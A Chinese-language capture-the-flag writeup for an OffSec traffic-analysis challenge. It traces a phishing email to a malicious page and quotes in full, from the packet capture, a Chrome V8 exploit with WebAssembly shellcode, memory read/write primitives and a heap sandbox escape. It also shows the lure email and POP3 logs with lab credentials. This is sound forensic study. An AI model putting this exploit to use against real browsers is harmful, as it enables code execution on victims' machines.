Offsec Arctic Howl-Cold Access(Week 3) Writeup
Author: Asterism
Date: 2026.3.23
Lastest edited on 2026.3.23
Link Collection
The Gauntlet 活动介绍页:https://www.offsec.com/events/the-gauntlet/
Cold Access 题目:https://portal.offsec.com/machine/cold-access-218766/overview/details
题目:./file/Q.txt
附件:./file/initial_access.pcapng
答案:./file/Q&A.txt
Writeup:https://photoncache.pages.dev/posts/offsec_ctf
题目介绍
这是一道流量分析的题目,题目的流量包记录多达3万+,要求在大量的流量中筛选出攻击流量,并且对其进行分析,回答相关题目
工具
- Wireshark
过程
攻击流量
通过观察可以发现可疑IP-34.250.131.104,记录如下:
20882 56.693705 34.250.131.104 192.168.50.107 TCP 66 80 → 60264 [SYN, ACK] Seq=0 Ack=1 Win=62727 Len=0 MSS=1460 SACK_PERM WS=128
20884 56.695771 34.250.131.104 192.168.50.107 TCP 60 443 → 60263 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20885 56.697858 34.250.131.104 192.168.50.107 TCP 66 80 → 60265 [SYN, ACK] Seq=0 Ack=1 Win=62727 Len=0 MSS=1460 SACK_PERM WS=128
20898 56.955802 34.250.131.104 192.168.50.107 TCP 60 443 → 60267 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20900 57.306745 34.250.131.104 192.168.50.107 TCP 60 443 → 60263 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20902 57.546380 34.250.131.104 192.168.50.107 TCP 60 443 → 60267 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20905 57.909543 34.250.131.104 192.168.50.107 TCP 60 443 → 60263 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20907 58.134114 34.250.131.104 192.168.50.107 TCP 60 443 → 60267 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20909 58.508133 34.250.131.104 192.168.50.107 TCP 60 443 → 60263 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20912 58.723935 34.250.131.104 192.168.50.107 TCP 60 443 → 60267 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20917 59.107560 34.250.131.104 192.168.50.107 TCP 60 443 → 60263 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20919 59.195877 34.250.131.104 192.168.50.107 TCP 60 80 → 60264 [ACK] Seq=1 Ack=430 Win=62336 Len=0
20920 59.196127 34.250.131.104 192.168.50.107 TCP 1514 80 → 60264 [ACK] Seq=1 Ack=430 Win=62336 Len=1460 [TCP PDU reassembled in 20924]
20921 59.196182 34.250.131.104 192.168.50.107 TCP 1514 80 → 60264 [PSH, ACK] Seq=1461 Ack=430 Win=62336 Len=1460 [TCP PDU reassembled in 20924]
20922 59.196182 34.250.131.104 192.168.50.107 TCP 1514 80 → 60264 [ACK] Seq=2921 Ack=430 Win=62336 Len=1460 [TCP PDU reassembled in 20924]
20923 59.196182 34.250.131.104 192.168.50.107 TCP 1514 80 → 60264 [PSH, ACK] Seq=4381 Ack=430 Win=62336 Len=1460 [TCP PDU reassembled in 20924]
20924 59.196182 34.250.131.104 192.168.50.107 HTTP 740 HTTP/1.1 200 OK (text/html)
20928 59.321631 34.250.131.104 192.168.50.107 TCP 60 443 → 60267 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20929 59.322284 34.250.131.104 192.168.50.107 HTTP 472 HTTP/1.1 404 Not Found (text/html)
20959 60.932024 34.250.131.104 192.168.50.107 TCP 60 80 → 60264 [FIN, ACK] Seq=6945 Ack=803 Win=62080 Len=0
20962 60.940319 34.250.131.104 192.168.50.107 TCP 60 80 → 60265 [FIN, ACK] Seq=1 Ack=2 Win=62848 Len=0
34.250.131.104对目标主机192.168.50.107的多个端口发送请求,先是完成了http(80端口)连接,然后目标主机一直尝试进行https(443端口),都被攻击主机直接拒绝(攻击主机连个证书都不愿意搞,很显然有问题)
追踪TCP stream
GET / HTTP/1.1
Host: 34.250.131.104
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 200 OK
Date: Mon, 27 Oct 2025 09:10:43 GMT
Server: Apache/2.4.65 (Amazon Linux)
Last-Modified: Fri, 24 Oct 2025 11:57:49 GMT
ETag: "184a-641e64236f6d7"
Accept-Ranges: bytes
Content-Length: 6218
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<html>
<body>
<script>
const importObject = {
imports: { imported_func : Math.sin},
};
//Shellcode tested on Win11 23H2 10.0.22631.4037
var wasmBuffer = new Uint8Array([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,152,2,2,6,0,32,0,16,0,11,142,2,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,144,73,131,196,96,144,235,29,251,14,0,32,0,65,1,68,101,77,139,4,36,144,235,32,251,14,0,32,0,65,2,68,73,139,120,24,144,144,235,32,251,14,0,32,0,65,3,68,72,139,127,48,144,144,235,32,251,14,0,32,0,65,4,68,72,139,63,72,139,63,235,32,251,14,0,32,0,65,5,68,72,139,71,16,144,144,235,32,251,14,0,32,0,65,6,68,72,5,208,7,7,0,235,32,251,14,0,32,0,65,7,68,65,84,144,144,65,84,235,32,251,14,0,32,0,65,8,68,186,82,2,0,0,144,235,32,251,14,0,32,0,65,9,68,72,1,209,144,144,144,235,32,251,14,0,32,0,65,10,68,72,49,210,72,255,194,235,32,251,14,0,32,0,65,11,68,198,65,8,0,144,144,235,32,251,14,0,32,0,65,12,68,72,131,236,40,144,144,235,32,251,14,0,32,0,65,13,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,14,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,15,68,112,105,110,103,32,100,98,0,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121]);
var module = new WebAssembly.Module(wasmBuffer);
var instance = new WebAssembly.Instance(module, importObject);
var func = instance.exports.make_array;
func();
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Uint32Array(view);
var bigIntView = new BigInt64Array(view);
function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}
function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}
function itof(i) {
bigIntView = BigInt(i);
return dblArr[0];
}
function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}
function addrOf(obj) {
oobObjArr[0] = obj;
var addrDbl = corrupted_arr[9];
return ftoi32(addrDbl)[0];
}
function read(addr) {
var old_value = corrupted_arr[oobOffset];
corrupted_arr[oobOffset] = i32tof(addr,2);
var oldAddr = ftoi32(old_value);
var out = ftoi32(oobDblArr[0]);
corrupted_arr[oobOffset] = old_value;
return out;
}
function write(addr, val1, val2) {
var old_value = corrupted_arr[oobOffset];
corrupted_arr[oobOffset] = i32tof(addr,2);
oobDblArr[0] = i32tof(val1, val2);
corrupted_arr[oobOffset] = old_value;
return;
}
var num = 3;
var nameAddr = 0xdc5; // <<<<<<<<< check this
var dblArrMap = 0x255159;
var objArrMap = 0x2551d9;
var nameAddrF = i32tof(nameAddr, nameAddr);
var fakeDblArray = [1.1,2.2];
var oobDblArr = [2.2];
var oobObjArr = [view];
oobObjArr[0] = 0x4242;
var fakeDblArrayAddr = 0x4881d
var fakeDblArrayEle = fakeDblArrayAddr - 0x18;
fakeDblArray[0] = i32tof(dblArrMap, 0x725);
fakeDblArray[1] = i32tof(fakeDblArrayEle, 0x100);
var x = {};
for (let i = 0; i < num; i++) {
x['a' + i] = 1;
}
var x1 = {};
for (let i = 0; i < num; i++) {
x1['a' + i] = 1;
}
x1.prop = 1;
x.__defineGetter__("prop", function() {
let obj = {};
obj.a0 = 1.5;
for (let i = 0; i < 1024 + 512; i++) {
let tmp = {};
tmp.a0 = 1;
for (let j = 1; j < num; j++) {
tmp['a' + j] = 1;
}
tmp['p' + i] = 1;
}
return 4;
});
x.z = 1;
delete x.z;
var y = {...x};
var arr = new Array(256);
for (let i = 0; i < 7; i++) {
arr[i] = new Array(256);
for (let j = 0; j < arr[i].length; j++) {
arr[i][j] = nameAddrF;
}
}
for (let j = 0; j < 7; j++) {
let a = arr[j];
for (let i = 0; i < 256; i++) {
a[i] = i32tof(nameAddr, fakeDblArrayEle + 0x8);//i32tof(fakeDblArrayEle + 0xc, nameAddr);
}
}
var z = {};
z.__proto__ = y;
z.p = 1;
z.p;
var oobOffset = 7;
// 0:000> ? chrome!v8::internal::TrustedCage::base_ - chrome!blink::V8DOMRectReadOnly::wrapper_type_info_
// Evaluate expression: 3265256 = 00000000`0031d2e8
var trustedOffset = 0x31d2e8; // OK
var corrupted_arr = y.name;
function getInstance(obj) {
let addr = addrOf(obj);
return read(addr + 0x10);
}
//v8 heap sandbox escape
//Math.sin();
var domRect = new DOMRect(1.1,2.3,3.3,4.4);
var node = new AudioBuffer({length: 3000, sampleRate: 30000, numberOfChannels : 2});
var channel = node.getChannelData(0);
var nodeInstance = getInstance(node);
var channelAddr = addrOf(channel);
var channelInstance = read(channelAddr + 0x3c);
var rectAddr = addrOf(domRect);
var read1 = addrOf(fakeDblArray)
//alert("0x" + read1.toString(16))
var rectInstance = read(rectAddr + 0x10);
var rectType = read(rectAddr + 0x8);
write(rectAddr + 0x10, rectType[0], rectType[1]);
//V8DOMRectReadOnly18wrapper_type_info_E
var typeInfo = ftoi32(domRect.width);
//Confusion between DOMRect and DOMArrayBuffer allows raw_base_addr_ ptr to be overwritten, causing arbitrary rw
write(rectAddr + 0x10, channelInstance[0], channelInstance[1]);
var rawBase = ftoi32(domRect.x);
var trustedBase = i32tof(typeInfo[0] + trustedOffset, typeInfo[1]); // OK up to here
var read3 = addrOf(trustedBase);
//Set address to read and write
domRect.x = trustedBase;
var dst = new Float32Array(view);
//copyFromChannel and copyToChannel can then be used for arbitrary rw
node.copyFromChannel(dst, 0, 0);
//dispatch_table_from_imports address
var trustedCage = intView[1];
function findImportTarget(startAddr) {
var dispatchMap = 0x1f8d;
var dstBuffer = new ArrayBuffer(0x1000);
var dstFloat = new Float32Array(dstBuffer);
var dstInt = new Uint32Array(dstBuffer);
domRect.x = i32tof(startAddr, trustedCage);
node.copyFromChannel(dstFloat, 0, 0);
for (let i = 0; i < dstInt.length; i++) {
if (dstInt[i] === 0x1f8d) {
return i;
}
}
return -1;
}
var startAddr = 0x40600;
var codeIdx = findImportTarget(startAddr);
if (codeIdx != -1) {
var exported = instance.exports.main;
var code = i32tof(startAddr + codeIdx * 4 + 0xc, trustedCage);
domRect.x = code;
node.copyFromChannel(dst, 0, 0);
intView[0] = intView[0] + 0xe + 0x100;
node.copyToChannel(dst, 0, 0);
intView[0] = 0;
node.copyFromChannel(dst,0,0);
exported();
exported();
}
</script>
</body>
</html>
GET /favicon.ico HTTP/1.1
Host: 34.250.131.104
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://34.250.131.104/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 404 Not Found
Date: Mon, 27 Oct 2025 09:10:43 GMT
Server: Apache/2.4.65 (Amazon Linux)
Content-Length: 196
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
目标主机自动向攻击机请求/favicon.ico网站图标,攻击主机也不响应,一看就不像正常网站的行为。 从攻击主机发送过来的内容可以看到,内容没有任何UI,是纯粹的JS代码。一般来说网页的js代码执行不会影响到浏览器之外的东西,但是如果浏览器沙盒出现漏洞,就有可能了。
分析攻击载荷
还原攻击流程
用户不会故意去访问一个连域名都没有的网站,这种情况,我第一个想到的就是钓鱼邮件和广告链接。筛选以下接收邮件常用的协议,最终在协议pop中有了答案:
19692 27.438991 192.168.50.108 192.168.50.107 POP 64 S: +OK POP3
19714 27.449914 192.168.50.107 192.168.50.108 POP 60 C: CAPA
19729 27.454734 192.168.50.108 192.168.50.107 POP 97 S: +OK CAPA list follows
19747 27.457263 192.168.50.107 192.168.50.108 POP 81 C: USER enygaard@ngo-hub.com
19765 27.471055 192.168.50.108 192.168.50.107 POP 78 S: +OK Send your password
19767 27.475432 192.168.50.107 192.168.50.108 POP 64 C: PASS lab
19788 27.484821 192.168.50.108 192.168.50.107 POP 84 S: +OK Mailbox locked and ready
19791 27.486005 192.168.50.107 192.168.50.108 POP 60 C: STAT
19807 27.486722 192.168.50.108 192.168.50.107 POP 67 S: +OK 5 10548
19808 27.489368 192.168.50.107 192.168.50.108 POP 60 C: LIST
19831 27.517138 192.168.50.108 192.168.50.107 POP 85 S: +OK 5 messages (10548 octets)
19914 27.562193 192.168.50.107 192.168.50.108 POP 60 C: UIDL
19931 27.563550 192.168.50.108 192.168.50.107 POP 116 S: +OK 5 messages (10548 octets)
19947 27.567925 192.168.50.107 192.168.50.108 POP 60 C: QUIT
19976 27.588212 192.168.50.108 192.168.50.107 POP 89 S: +OK POP3 server saying goodbye...
20815 48.516003 192.168.50.108 192.168.50.107 POP 64 S: +OK POP3
20816 48.517423 192.168.50.107 192.168.50.108 POP 60 C: CAPA
20817 48.518055 192.168.50.108 192.168.50.107 POP 97 S: +OK CAPA list follows
20818 48.518783 192.168.50.107 192.168.50.108 POP 81 C: USER enygaard@ngo-hub.com
20819 48.519308 192.168.50.108 192.168.50.107 POP 78 S: +OK Send your password
20820 48.519828 192.168.50.107 192.168.50.108 POP 64 C: PASS lab
20821 48.521834 192.168.50.108 192.168.50.107 POP 84 S: +OK Mailbox locked and ready
20822 48.522288 192.168.50.107 192.168.50.108 POP 60 C: STAT
20823 48.523124 192.168.50.108 192.168.50.107 POP 67 S: +OK 6 13059
20824 48.523754 192.168.50.107 192.168.50.108 POP 60 C: LIST
20825 48.524373 192.168.50.108 192.168.50.107 POP 85 S: +OK 6 messages (13059 octets)
20827 48.580791 192.168.50.108 192.168.50.107 POP/IMF 105 1 1335 , 2 1656 , 3 2533 , 4 2512 , 5 2512 , 6 2511 , .
20828 48.581582 192.168.50.107 192.168.50.108 POP 60 C: UIDL
20829 48.582737 192.168.50.108 192.168.50.107 POP 122 S: +OK 6 messages (13059 octets)
20830 48.583552 192.168.50.107 192.168.50.108 POP 62 C: RETR 6
20832 48.599543 192.168.50.108 192.168.50.107 POP 1514 S: +OK 2511 octets
20833 48.599543 192.168.50.108 192.168.50.107 POP 1152 S: DATA fragment, 1098 bytes
20835 48.601017 192.168.50.108 192.168.50.107 POP 60 S: DATA fragment, 3 bytes
20837 48.660314 192.168.50.107 192.168.50.108 POP 60 C: QUIT
20838 48.661323 192.168.50.108 192.168.50.107 POP 89 S: +OK POP3 server saying goodbye...
追踪流,可以发现这封邮件
Return-Path: ciso@ngohub.com
Received: from attacker01 (login.mcrosoftonline.com [203.0.113.10])
by mail.ngo-hub.com with ESMTP
; Mon, 27 Oct 2025 02:11:19 -0700
Message-ID: <312116.95898989-sendEmail@attacker01>
From: "ciso@ngohub.com" <ciso@ngohub.com>
To: "enygaard@ngo-hub.com" <enygaard@ngo-hub.com>
Subject: [SIMULATION ... LAB ONLY] Mandatory Phishing Training
Date: Mon, 27 Oct 2025 09:10:26 +0000
X-Mailer: sendEmail-1.56
MIME-Version: 1.0
Content-Type: multipart/related; boundary="----MIME delimiter for sendEmail-782887.475173087"
This is a multi-part message in MIME format. To properly display this message you need a MIME-Version 1.0 compliant Email program.
------MIME delimiter for sendEmail-782887.475173087
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
<html>
<body style="font-family:Arial, Helvetica, sans-serif; color:#333;">
<table width="600" cellpadding="0" cellspacing="0" border="0" align="center" style="border:1px solid #ddd; padding:20px;">
<tr>
<td>
<h2 style="color:#c00; text-align:center;">[SIMULATION ... LAB ONLY]</h2>
<p>Hi Elena,</p>
<p>This message is from the <strong>Office of the CISO</strong> at NGO-Hub.
As part of our ongoing security awareness program, you are required to complete this short phishing-training exercise.</p>
<p>The exercise is conducted in a secure lab environment and does <strong>not</strong> collect any credentials or personal data.
Please click the button below to access your training session:</p>
<p style="text-align:center; margin:30px 0;">
<a href="http://34.250.131.104/"
style="background-color:#007bff; color:#fff; text-decoration:none; padding:12px 24px; border-radius:4px;">
Start Phishing Training
</a>
</p>
<p>For questions about this exercise, contact the Security Operations Center at
<a href="mailto:soc@ngo-hub.com">soc@ngo-hub.com</a>.</p>
<p>Thank you for your cooperation,<br>
<strong>Office of the CISO</strong><br>
NGO-Hub</p>
<p style="font-size:12px; color:#888; text-align:center;">
[SIMULATION ... LAB ONLY] ... This email is part of a controlled security awareness exercise.
</p>
</td>
</tr>
</table>
</body>
</html>
------MIME delimiter for sendEmail-782887.475173087--
本以为题目会更加还原一点真实情况,没想到用的文案是这样的
